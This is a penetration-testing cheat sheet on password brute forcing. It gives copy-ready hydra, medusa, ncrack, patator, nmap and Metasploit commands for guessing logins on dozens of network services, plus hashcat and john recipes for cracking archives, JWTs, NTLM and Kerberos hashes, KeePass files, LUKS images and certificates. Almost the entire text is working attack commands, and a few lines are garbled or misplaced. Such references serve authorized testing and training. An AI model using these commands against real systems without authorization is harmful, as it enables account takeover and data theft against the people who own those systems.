Brute Force - CheatSheet

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Default Credentials

Search in google for default credentials of the technology that is being used, or try these links:

Create your own Dictionaries

Find as much information about the target as you can and generate a custom dictionary. Tools that may help:


crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%


cewl example.com -m 5 -w words.txt


Generate passwords based on your knowledge of the victim (names, dates...)
python3 cupp.py -h



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Ordered alphabetically by service name.


nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> run


nmap --script ajp-brute -p 8009 <IP>


nmap --script cassandra-brute -p 9160 <IP>


msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Docker Registry

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst -s 5000 https-get /v2/


hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /


hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp

HTTP Generic Brute


HTTP Basic Auth

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10

HTTP - Post Form

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
For https you have to change from "http-post-form" to "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com


hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>


nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>


nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>


hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
python3 jwt_tool.py -d wordlists.txt <JWT token>
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6


nmap --script ldap-brute -p 389 <IP>


ncrack mqtt:// --user test –P /root/Desktop/pass.txt -v


nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login


# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql


patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
In order to use oracle_login with patator you need to install:
pip3 install cx_Oracle --upgrade
Offline OracleSQL hash bruteforce (versions,,,, and
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n


hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V


hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>


You can download the .deb package to install from https://http.kali.org/pool/main/t/thc-pptp-bruter/
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>


ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>


msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default


hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V


hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V


hydra -L <Username_list> rsh://<Victim_IP> -v -V


nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>


hydra -l root -P passwords.txt <IP> rtsp


msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp


nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt smb -t 1


hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL


nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>

SQL Server

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT


hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'


hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet


hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst


crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
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Online cracking databases

Check this out before trying to brute force a Hash.


#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Known plaintext zip attack

You need to know the plaintext (or part of the plaintext) of a file contained inside the encrypted zip. You can check filenames and size of files contained inside an encrypted zip running: 7z l encrypted.zip Download bkcrack from the releases page.
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password


cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john


apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

PDF Owner Password


git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

NTLM cracking

john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot


sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash


john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Lucks image

Method 1

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Method 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt


#John hash format

PGP/GPG Private key

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash


DPAPI Master Key

Open Office Pwd Protected Column

If you have an xlsx file with a column protected by a password you can unprotect it:
  • Upload it to google drive and the password will be automatically removed
  • To remove it manually:
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

PFX Certificates

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
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> <HASH>


Wordlist Generation Tools

  • kwprocessor: Advanced keyboard-walk generator with configurable base chars, keymap and routes.
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

John mutation

Read /etc/john/john.conf and configure it
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules


Hashcat attacks

  • Wordlist attack (-a 0) with rules
Hashcat already comes with a folder containing rules but you can find other interesting rules here.
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
  • Wordlist combinator attack
It's possible to combine 2 wordlists into 1 with hashcat. If list 1 contained the word "hello" and the second contained 2 lines with the words "world" and "earth". The words helloworld and helloearth will be generated.
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
  • Mask attack (-a 3)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
l | abcdefghijklmnopqrstuvwxyz
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>[email protected][\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
  • Wordlist + Mask (-a 6) / Mask + Wordlist (-a 7) attack
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Hashcat modes

hashcat --example-hashes | grep -B1 -A2 "NTLM"
Cracking Linux Hashes - /etc/shadow file
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
Cracking Windows Hashes
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
Cracking Common Application Hashes
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
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